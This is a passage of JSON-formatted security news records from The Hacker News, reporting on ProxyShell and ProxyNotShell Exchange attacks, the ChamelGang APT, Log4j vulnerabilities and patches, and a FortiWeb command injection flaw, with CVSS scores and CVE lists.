"2021-08-22T09:51:00", "type": "thn", "title": "WARNING: Microsoft Exchange Under Attack With ProxyShell Flaws", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-23T13:28:25", "id": "THN:5BE77895D84D1FB816C73BB1661CE8EB", "href": "https://thehackernews.com/2021/08/microsoft-exchange-under-attack-with.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:14", "description": "[![APT Hacking Group](https://thehackernews.com/new-images/img/a/AVvXsEiQk7skJEo49QfN4ESusan9jBZfTXapDKpnR6CXuJbaNKUBpx7nO684Vj5RRctI8hh09KwyntDYPyeQI-HbWC03E5Uo4ABDXXj3vfb774Dv1G65e03iX30VM0pcCe5hQfxnkW-u1V4gZgZ3L2et_QXqceUwFJfPQDg8aUOWSagSt-l0OGRquNTiLEso=s728-e1000)](<https://thehackernews.com/new-images/img/a/AVvXsEiQk7skJEo49QfN4ESusan9jBZfTXapDKpnR6CXuJbaNKUBpx7nO684Vj5RRctI8hh09KwyntDYPyeQI-HbWC03E5Uo4ABDXXj3vfb774Dv1G65e03iX30VM0pcCe5hQfxnkW-u1V4gZgZ3L2et_QXqceUwFJfPQDg8aUOWSagSt-l0OGRquNTiLEso>)\n\nA previously undocumented threat actor has been identified as behind a string of attacks targeting fuel, energy, and aviation production industries in Russia, the U.S., India, Nepal, Taiwan, and Japan with the goal of stealing data from compromised networks.\n\nCybersecurity company Positive Technologies dubbed the advanced persistent threat (APT) group ChamelGang \u2014 referring to their chameleellonic capabilities, including disguising \"its malware and network infrastructure under legitimate services of Microsoft, TrendMicro, McAfee, IBM, and Google.\" \n\n\"To achieve their goal, the attackers used a trending penetration method\u2014supply chain,\" the researchers [said](<https://www.ptsecurity.com/ww-en/about/news/positive-technologies-uncovers-new-apt-group-attacking-russia-s-fuel-and-energy-complex-and-aviation-production-industry/>) of one of the incidents investigated by the firm. \"The group compromised a subsidiary and penetrated the target company's network through it. Trusted relationship attacks are rare today due to the complexity of their execution. Using this method [\u2026], the ChamelGang group was able to achieve its goal and steal data from the compromised network.\"\n\nIntrusions mounted by the adversary are believed to have commenced at the end of March 2021, with later attacks in August leveraging what's called the [ProxyShell](<https://thehackernews.com/2021/08/hackers-actively-searching-for.html>) chain of vulnerabilities affecting Microsoft Exchange Servers, the technical details of which were first revealed at the Black Hat USA 2021 security conference earlier that month.\n\n[![Microsoft](https://thehackernews.com/new-images/img/a/AVvXsEgpU90FEVyvHUv6m3vUITmIj4tJ_Kexp6cw5No4dV8_Po339DpYJtWa0Z-_BTv7hBE9_EkkSjRVlbP2lsM6MxD-x1p1yD_mQOhRoeiBy9vjPZXWBKrrJlJlvEbl4QdL8woMTd4XIY2ZGusd5N0uFaCwXBUiwFnJnXGfU0C-ESawdO8FR9OB4njoQ6oc=s728-e1000)](<https://thehackernews.com/new-images/img/a/AVvXsEgpU90FEVyvHUv6m3vUITmIj4tJ_Kexp6cw5No4dV8_Po339DpYJtWa0Z-_BTv7hBE9_EkkSjRVlbP2lsM6MxD-x1p1yD_mQOhRoeiBy9vjPZXWBKrrJlJlvEbl4QdL8woMTd4XIY2ZGusd5N0uFaCwXBUiwFnJnXGfU0C-ESawdO8FR9OB4njoQ6oc>)\n\nThe attack in March is also notable for the fact that the operators breached a subsidiary organization to gain access to an unnamed energy company's network by exploiting a flaw in Red Hat JBoss Enterprise Application ([CVE-2017-12149](<https://access.redhat.com/security/cve/CVE-2017-12149>)) to remotely execute commands on the host and deploy malicious payloads that enable the actor to launch the malware with elevated privileges, laterally pivot across the network, and perform reconnaissance, before deploying a backdoor called DoorMe.\n\n\"The infected hosts were controlled by the attackers using the public utility FRP (fast reverse proxy), written in Golang,\" the researchers said. \"This utility allows connecting to a reverse proxy server. The attackers' requests were routed using the socks5 plugin through the server address obtained from the configuration data.\"\n\nOn the other hand, the August attack against a Russian company in the aviation production sector involved the exploitation of ProxyShell flaws (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) to drop additional web shells and conduct remote reconnaissance on the compromised node, ultimately leading to the installation of a modified version of the DoorMe implant that comes with expanded capabilities to run arbitrary commands and carry out file operations.\n\n\"Targeting the fuel and energy complex and aviation industry in Russia isn't unique \u2014 this sector is one of the three most frequently attacked,\" Positive Technologies' Head of Threat Analysis, Denis Kuvshinov, said. \"However, the consequences are serious: Most often such attacks lead to financial or data loss\u2014in 84% of all cases last year, the attacks were specifically created to steal data, and that causes major financial and reputational damage.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-10-04T12:48:00", "type": "thn", "title": "A New APT Hacking Group Targeting Fuel, Energy, and Aviation Industries", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-12149", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-10-04T12:48:16", "id": "THN:E95B6A75073DA71CEC73B2E4F0B13622", "href": "https://thehackernews.com/2021/10/a-new-apt-hacking-group-targeting-fuel.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:47", "description": "[![Log4j Vulnerability](https://thehackernews.com/new-images/img/a/AVvXsEgeXjFC4OYQ5lmi5fSwG6zbcxqXenVBldG-NDJBTj6U8jgN3PxxrT1VvWOX2nutT6fU9sMiYLfR0Ak6WhbFVT5HZRKR4cjiE_uipgVTFgaNrK7gYt93080_rcNPSuPhumNXt2R0HEBuNWlmeDjdWnN2161dOoLCZMen8khqNaGxuLMJHxA1aaR_ntQ_Rg=s728-e1000)](<https://thehackernews.com/new-images/img/a/AVvXsEgeXjFC4OYQ5lmi5fSwG6zbcxqXenVBldG-NDJBTj6U8jgN3PxxrT1VvWOX2nutT6fU9sMiYLfR0Ak6WhbFVT5HZRKR4cjiE_uipgVTFgaNrK7gYt93080_rcNPSuPhumNXt2R0HEBuNWlmeDjdWnN2161dOoLCZMen8khqNaGxuLMJHxA1aaR_ntQ_Rg>)\n\nThe issues with Log4j continued to stack up as the Apache Software Foundation (ASF) on Friday rolled out yet another patch \u2014 version 2.17.0 \u2014 for the widely used logging library that could be exploited by malicious actors to stage a denial-of-service (DoS) attack.\n\nTracked as **CVE-2021-45105** (CVSS score: 7.5), the new vulnerability affects all versions of the tool from 2.0-beta9 to 2.16.0, which the open-source nonprofit shipped earlier this week to remediate a second flaw that could result in remote code execution ([CVE-2021-45046](<https://thehackernews.com/2021/12/second-log4j-vulnerability-cve-2021.html>)), which, in turn, stemmed from an \"incomplete\" fix for [CVE-2021-44228](<https://thehackernews.com/2021/12/extremely-critical-log4j-vulnerability.html>), otherwise called the Log4Shell vulnerability.\n\n\"Apache Log4j2 versions 2.0-alpha1 through 2.16.0 did not protect from uncontrolled recursion from self-referential lookups,\" the ASF [explained](<https://logging.apache.org/log4j/2.x/security.html>) in a revised advisory. \"When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process.\"\n\nHideki Okamoto of Akamai Technologies and an anonymous vulnerability researcher have been credited with reporting the flaw. Log4j versions 1.x, however, are not affected by CVE-2021-45105.\n\nIt's worth pointing out that the severity score of CVE-2021-45046, originally classified as a DoS bug, has since been revised from 3.7 to 9.0, to reflect the fact that an attacker could abuse the vulnerability to send a specially crafted string that leads to \"information leak and remote code execution in some environments and local code execution in all environments,\" corroborating a previous [report](<https://thehackernews.com/2021/12/hackers-begin-exploiting-second-log4j.html>) from security researchers at Praetorian.\n\nThe project maintainers also noted that Log4j versions 1.x have reached end of life and are no longer supported, and that security flaws uncovered in the utility after August 2015 will not be fixed, urging users to upgrade to Log4j 2 to get the latest fixes.\n\nThe fixes are the latest in what's a highly dynamic situation as the U.S. Cybersecurity and Infrastructure Security Agency (CISA) issued an [emergency directive](<https://www.cisa.gov/uscert/ncas/current-activity/2021/12/17/cisa-issues-ed-22-02-directing-federal-agencies-mitigate-apache>) mandating federal civilian departments and agencies to immediately patch their internet-facing systems for the Apache Log4j vulnerabilities by December 23, 2021, citing that the weaknesses pose an \"unacceptable risk.\"\n\nThe development also comes as the Log4j flaws have [emerged as a lucrative attack vector](<https://thehackernews.com/2021/12/hackers-begin-exploiting-second-log4j.html>) and a focal point for exploitation by multiple threat actors, including nation-backed hackers from the likes of China, Iran, North Korea, and Turkey as well as the Conti ransomware gang, to carry out an array of follow-on malicious activities. This marks the first time the vulnerability has come under the radar of a sophisticated crimeware cartel.\n\n\"The current exploitation led to multiple use cases through which the Conti group tested the possibilities of utilizing the Log4j 2 exploit,\" AdvIntel researchers [said](<https://www.advintel.io/post/ransomware-advisory-log4shell-exploitation-for-initial-access-lateral-movement>). \"the criminals pursued targeting specific vulnerable [Log4j 2 VMware vCenter](<https://www.vmware.com/security/advisories/VMSA-2021-0028.html>) [servers] for lateral movement directly from the compromised network resulting in vCenter access affecting U.S. and European victim networks from the pre-existent Cobalt Strike sessions.\"\n\nAmong the others to leverage the bug are cryptocurrency miners, botnets, remote access trojans, initial access brokers, and a new ransomware strain called [Khonsari](<https://thehackernews.com/2021/12/hackers-exploit-log4j-vulnerability-to.html>). Israeli security firm Check Point said it recorded over [3.7 million exploitation attempts](<https://blog.checkpoint.com/2021/12/11/protecting-against-cve-2021-44228-apache-log4j2-versions-2-14-1/>) to date, with 46% of those intrusions made by known malicious groups.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-18T10:09:00", "type": "thn", "title": "Apache Issues 3rd Patch to Fix New High-Severity Log4j Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2021-12-20T05:02:41", "id": "THN:686DDFA07B415C41BA7AB9B8970557EF", "href": "https://thehackernews.com/2021/12/apache-issues-3rd-patch-to-fix-new-high.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:13", "description": "[![Fortinet FortiWeb WAF](https://thehackernews.com/images/-iRDFz4kb2_c/YRyAnCXcgbI/AAAAAAAADjw/9zUdSCDaZ3wAdT6A32p1ugpUnmn7m6WagCLcBGAsYHQ/s728-e1000/Fortinet-zero-day.jpg)](<https://thehackernews.com/images/-iRDFz4kb2_c/YRyAnCXcgbI/AAAAAAAADjw/9zUdSCDaZ3wAdT6A32p1ugpUnmn7m6WagCLcBGAsYHQ/s0/Fortinet-zero-day.jpg>)\n\nDetails have emerged about a new unpatched security vulnerability in Fortinet's web application firewall (WAF) appliances that could be abused by a remote, authenticated attacker to execute malicious commands on the system.\n\n\"An OS command injection vulnerability in FortiWeb's management interface (version 6.3.11 and prior) can allow a remote, authenticated attacker to execute arbitrary commands on the system, via the SAML server configuration page,\" cybersecurity firm Rapid7 [said](<https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection/>) in an advisory published Tuesday. \"This vulnerability appears to be related to [CVE-2021-22123](<https://nvd.nist.gov/vuln/detail/CVE-2021-22123>), which was addressed in [FG-IR-20-120](<https://www.fortiguard.com/psirt/FG-IR-20-120>).\"\n\nRapid7 said it discovered and reported the issue in June 2021. Fortinet is expected to release a patch at the end of August with version Fortiweb 6.4.1.\n\nThe command injection flaw is yet to be assigned a CVE identifier, but it has a severity rating of 8.7 on the CVSS scoring system. Successful exploitation of the vulnerability can allow authenticated attackers to execute arbitrary commands as the root user on the underlying system via the SAML server configuration page.\n\n\"An attacker can leverage this vulnerability to take complete control of the affected device, with the highest possible privileges,\" Rapid7's Tod Beardsley said. \"They might install a persistent shell, crypto mining software, or other malicious software. In the unlikely event the management interface is exposed to the internet, they could use the compromised platform to reach into the affected network beyond the DMZ.\"\n\nRapid7 also warns that while authentication is a prerequisite for achieving arbitrary command execution, the exploit could be chained with an authentication bypass flaw, such as [CVE-2020-29015](<https://nvd.nist.gov/vuln/detail/CVE-2020-29015>). In the interim, users are advised to block access to the FortiWeb device's management interface from untrusted networks, including taking steps to prevent direct exposure to the internet.\n\nAlthough there is no evidence that the new security issue has been exploited in the wild, it's worth noting that unpatched Fortinet servers have been a lucrative target for financially motivated and state-sponsored threat actors alike.\n\nEarlier this April, the Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) [warned](<https://www.ic3.gov/Media/News/2021/210402.pdf>) of advanced persistent threat groups targeting Fortinet FortiOS servers by leveraging [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>), [CVE-2020-12812](<https://nvd.nist.gov/vuln/detail/CVE-2020-12812>), and [CVE-2019-5591](<https://nvd.nist.gov/vuln/detail/CVE-2019-5591>) to compromise systems belonging to government and commercial entities.\n\nIn the same month, Russian cybersecurity company Kaspersky [revealed](<https://ics-cert.kaspersky.com/reports/2021/04/07/vulnerability-in-fortigate-vpn-servers-is-exploited-in-cring-ransomware-attacks/>) that threat actors exploited the CVE-2018-13379 vulnerability in FortiGate VPN servers to gain access to enterprise networks in European countries to deploy the Cring ransomware.\n\n**_Update: _**Fortinet shared the following statement with The Hacker News:\n\n\u201cThe security of our customers is always our first priority. Fortinet recognizes the important role of independent security researchers who work closely with vendors to protect the cybersecurity ecosystem in alignment with their responsible disclosure policies. In addition to directly communicating with researchers, our disclosure policy is clearly outlined on the Fortinet PSIRT Policy page, which includes asking incident submitters to maintain strict confidentiality until complete resolutions are available for customers. As such, we had expected that Rapid7 hold any findings prior to the end of our 90-day Responsible disclosure window. We regret that in this instance, individual research was fully disclosed without adequate notification prior to the 90-day window. We are working to deliver immediate notification of a workaround to customers and a patch released by the end of the week.\u201d\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-18T03:41:00", "type": "thn", "title": "Unpatched Remote Hacking Flaw Disclosed in Fortinet's FortiWeb WAF", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2020-29015", "CVE-2021-22123"], "modified": "2021-08-19T06:50:20", "id": "THN:FCBB400B24C7B24CD6B5136FA8BE38D3", "href": "https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-10-04T12:04:40", "description": "[![ProxyNotShell](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEh6538WifO-pQPlUhACBuUX_jTbrSpW305DDSQv2XtGhWolinz3L4Hgy3yckiql7NJG9L9tFcb9ZFIPr1a1yBf9bvlyuXOAhhxdrgegxaIMeSIxRzX7JFkUbAULNHo8UzppH76EuY77JOotsyc1FYph-TCqk5DAr4GPj--2TvKuoLT8Tucw6ssJeCOa/s728-e1000/proxynotshell.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEh6538WifO-pQPlUhACBuUX_jTbrSpW305DDSQv2XtGhWolinz3L4Hgy3yckiql7NJG9L9tFcb9ZFIPr1a1yBf9bvlyuXOAhhxdrgegxaIMeSIxRzX7JFkUbAULNHo8UzppH76EuY77JOotsyc1FYph-TCqk5DAr4GPj--2TvKuoLT8Tucw6ssJeCOa/s728-e100/proxynotshell.jpg>)\n\nNicknamed ProxyNotShell, a new exploit used in the wild takes advantage of the recently published Microsoft Server-Side Request Forgery (SSRF) vulnerability CVE-2022-41040 and a second vulnerability, CVE-2022-41082 that allows Remote Code Execution (RCE) when PowerShell is available to unidentified attackers.\n\nBased on ProxyShell, this new zero-day abuse risk leverage a chained attack similar to the one used in the 2021 ProxyShell attack that exploited the combination of multiple vulnerabilities - CVE-2021-34523, CVE-2021-34473, and CVE-2021-31207 \u2013 to permit a remote actor to execute arbitrary code.\n\nDespite the potential severity of attacks using them, ProxyShell vulnerabilities are still on CISA's list of top 2021 routinely exploited vulnerabilities.\n\n## Meet ProxyNotShell \n\nRecorded on September 19, 2022, CVE-2022-41082 is an attack vector targeting Microsoft's Exchange Servers, enabling attacks of low complexity with low privileges required. Impacted services, if vulnerable, enable an authenticated attacker to compromise the underlying exchange server by leveraging existing exchange PowerShell, which could result in a full compromise.\n\nWith the help of CVE-2022-41040, another Microsoft vulnerability also recorded on September 19, 2022, an attacker can remotely trigger CVE-2022-41082 to remotely execute commands.\n\nThough a user needs to have the privilege to access CVE-2022-41040, which should curtail the vulnerability accessibility to attackers, the required level of privilege is low.\n\nAt the time of writing, Microsoft has not yet issued a patch but recommends that users [add a blocking rule](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) as a mitigation measure.\n\nBoth vulnerabilities were uncovered during an active attack against GTSC, a Vietnamese organization called GTSC, granting attackers access to some of their clients. Though neither vulnerability on its own is particularly dangerous, exploits chaining them together could potentially lead to catastrophic breaches.\n\nThe chained vulnerabilities could grant an outsider attacker the ability to read emails directly off an organization's server the ability to breach the organization with CVE-2022-41040 Remote Code Execution and implant malware on the organization's Exchange Server with CVE-2022-41082.\n\nThough it appears that attackers would need some level of authentication to activate the chained vulnerabilities exploit, the exact level of authentication required \u2013 rated \"Low\" by Microsoft \u2013 is not yet clarified. Yet, this required low authentication level should effectively prevent a massive, automated attack targeting every Exchange server around the globe. This hopefully will prevent a replay of the 2021 ProxyShell debacle.\n\nYet, finding a single valid email address/password combination on a given Exchange server should not be overly difficult, and, as this attack bypasses MFA or FIDO token validation to log into Outlook Web Access, a single compromised email address/password combination is all that is needed.\n\n## Mitigating ProxyNotShell Exposure\n\nAt the time of writing, Microsoft has not yet issued a patch but recommends that users [add a blocking rule](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) as a mitigation measure of unknown efficacy.\n\nBlocking incoming traffic to Exchange Servers holding critical asserts is also an option, though only practicable if such a measure does not impact vital operations and should ideally be perceived as a temporary measure pending Microsoft's issuance of a verified patch.\n\n## Assessing ProxyNotShell Exposure\n\nAs the current mitigation options are either of unverified efficacy or potentially damaging to the smooth running of operations, evaluating the degree of exposure to ProxyNotShell might prevent taking potentially disruptive unnecessary preventative measures, or indicate which assets to preemptively migrate to unexposed servers.\n\nCymulate Research Lab has developed a [custom-made assessment for ProxyNotShell](<https://cymulate.com/free-trial/>) that enable organizations to estimate exactly their degree of exposure to ProxyNotShell.\n\nA ProxyNotShell attack vector has been added to the advanced scenarios templates, and running it on your environment yields the necessary information to validate exposure \u2013 or lack thereof - to ProxyNotShell.\n\n[![ProxyNotShell](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgOoxz7w2_H46l72-JIWEEozP6gnLHfSQt_wbm1RRkjB0NOn2rBaB0wW4-jBFx4wbMgPAmXZvOdPPwjnUFX2u8zbdJZLSXKMAoft6Skt3EXk_gH1ehXK9DLBpHKouidVH9WE9P1SQs3h-s1VAfGKtHqeXaxkjtGS4lDIItWgmQo1FSLk_6z6fV7ZtQw/s728-e1000/222.png)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgOoxz7w2_H46l72-JIWEEozP6gnLHfSQt_wbm1RRkjB0NOn2rBaB0wW4-jBFx4wbMgPAmXZvOdPPwjnUFX2u8zbdJZLSXKMAoft6Skt3EXk_gH1ehXK9DLBpHKouidVH9WE9P1SQs3h-s1VAfGKtHqeXaxkjtGS4lDIItWgmQo1FSLk_6z6fV7ZtQw/s728-e100/222.png>)\n\n[![ProxyNotShell](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiqGWTwc-0vwEKrwSp1s7coId4IRI3KelQKVBG1iXsx0N32996O0Lprr0PA035V1oLkFpdjQ1euXlqcL0le7gsuWoWI9NSCEBW0Nj-OCQZn8ovDyuK-b-MtVYhjKmGIWuZO5IkdqNRBvKSiWttxGP46GmxjlZtpI_FSz2728WiqkvKTOoOJIp0KrjOH/s728-e1000/111.png)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiqGWTwc-0vwEKrwSp1s7coId4IRI3KelQKVBG1iXsx0N32996O0Lprr0PA035V1oLkFpdjQ1euXlqcL0le7gsuWoWI9NSCEBW0Nj-OCQZn8ovDyuK-b-MtVYhjKmGIWuZO5IkdqNRBvKSiWttxGP46GmxjlZtpI_FSz2728WiqkvKTOoOJIp0KrjOH/s728-e100/111.png>)\n\nUntil verified patches are available from Microsoft, assessing exposure to ProxyNotShell to evaluate exactly which servers are potential targets is the most cost-efficient way to evaluate exactly which assets are exposed and devise targeted preemptive measures with maximum impact.\n\n_Note: This article is contributed by [Cymulate Research Labs](<https://cymulate.com/>)._\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-04T08:05:00", "type": "thn", "title": "ProxyNotShell \u2013 the New Proxy Hell?", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-10-04T10:19:04", "id": "THN:54023E40C0AA4CB15793A39F3AF102AB", "href": "https://thehackernews.com/2022/10/proxynotshell-new-proxy-hell.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:47", "description": "[![](https://thehackernews.com/new-images/img/a/AVvXsEiYzbIU7R9nN2oIk1ciBcv2vaWUtyaHDVCxO6AHIZCEYTx3GCZNldfvKElxTsKQ3d8sT4wVsXjtN1n4N5nF8nOUcLKVddcnAlh79u7se9VRiipUBpow3KEX9pnDWfkaTZ88L860JSKNR_f_u0glZTztzOJ6HMPLK4NhqhGLFEtswwSA8yQXpixGk7NP)](<https://thehackernews.com/new-images/img/a/AVvXsEiYzbIU7R9nN2oIk1ciBcv2vaWUtyaHDVCxO6AHIZCEYTx3GCZNldfvKElxTsKQ3d8sT4wVsXjtN1n4N5nF8nOUcLKVddcnAlh79u7se9VRiipUBpow3KEX9pnDWfkaTZ88L860JSKNR_f_u0glZTztzOJ6HMPLK4NhqhGLFEtswwSA8yQXpixGk7NP>)\n\nCybersecurity researchers have discovered an entirely new attack vector that enables adversaries to exploit the Log4Shell vulnerability on servers locally by using a JavaScript WebSocket connection.\n\n\"This newly-discovered attack vector means that anyone with a vulnerable Log4j version on their machine or local private network can browse a website and potentially trigger the vulnerability,\" Matthew Warner, CTO of Blumira, [said](<https://www.blumira.com/analysis-log4shell-local-trigger/>). \"At this point, there is no proof of active exploitation. This vector significantly expands the attack surface and can impact services even running as localhost which were not exposed to any network.\"\n\n[WebSockets](<https://en.wikipedia.org/wiki/WebSocket>) allow for two-way communications between a web browser (or other client application) and a server, unlike HTTP, which is unidirectional where the client sends the request and the server sends the response.\n\nWhile the issue can be resolved by updating all local development and internet-facing environments to Log4j 2.16.0, Apache on Friday rolled out [version 2.17.0](<https://thehackernews.com/2021/12/apache-issues-3rd-patch-to-fix-new-high.html>), which remediates a denial-of-service (DoS) vulnerability tracked as CVE-2021-45105 (CVSS score: 7.5), making it the third Log 4j2 flaw to come to light after [CVE-2021-45046](<https://thehackernews.com/2021/12/second-log4j-vulnerability-cve-2021.html>) and [CVE-2021-44228](<https://thehackernews.com/2021/12/extremely-critical-log4j-vulnerability.html>).\n\nThe complete list of flaws discovered to date in the logging framework after the original [Log4Shell](<https://thehackernews.com/2021/12/extremely-critical-log4j-vulnerability.html>) remote code execution bug was disclosed is as follows \u2014\n\n * [**CVE-2021-44228**](<https://thehackernews.com/2021/12/extremely-critical-log4j-vulnerability.html>) (CVSS score: 10.0) - A remote code execution vulnerability affecting Log4j versions from 2.0-beta9 to 2.14.1 (Fixed in version 2.15.0) \n * [**CVE-2021-45046**](<https://thehackernews.com/2021/12/second-log4j-vulnerability-cve-2021.html>) (CVSS score: 9.0) - An information leak and remote code execution vulnerability affecting Log4j versions from 2.0-beta9 to 2.15.0, excluding 2.12.2 (Fixed in version 2.16.0)\n * [**CVE-2021-45105**](<https://nvd.nist.gov/vuln/detail/CVE-2021-45105>) (CVSS score: 7.5) - A denial-of-service vulnerability affecting Log4j versions from 2.0-beta9 to 2.16.0 (Fixed in version 2.17.0)\n * [**CVE-2021-4104**](<https://nvd.nist.gov/vuln/detail/CVE-2021-4104>) (CVSS score: 8.1) - An untrusted deserialization flaw affecting Log4j version 1.2 (No fix available; Upgrade to version 2.17.0)\n\n\"We shouldn't be surprised that additional vulnerabilities were discovered in Log4j given the additional specific focus on the library,\" Jake Williams, CTO and co-founder 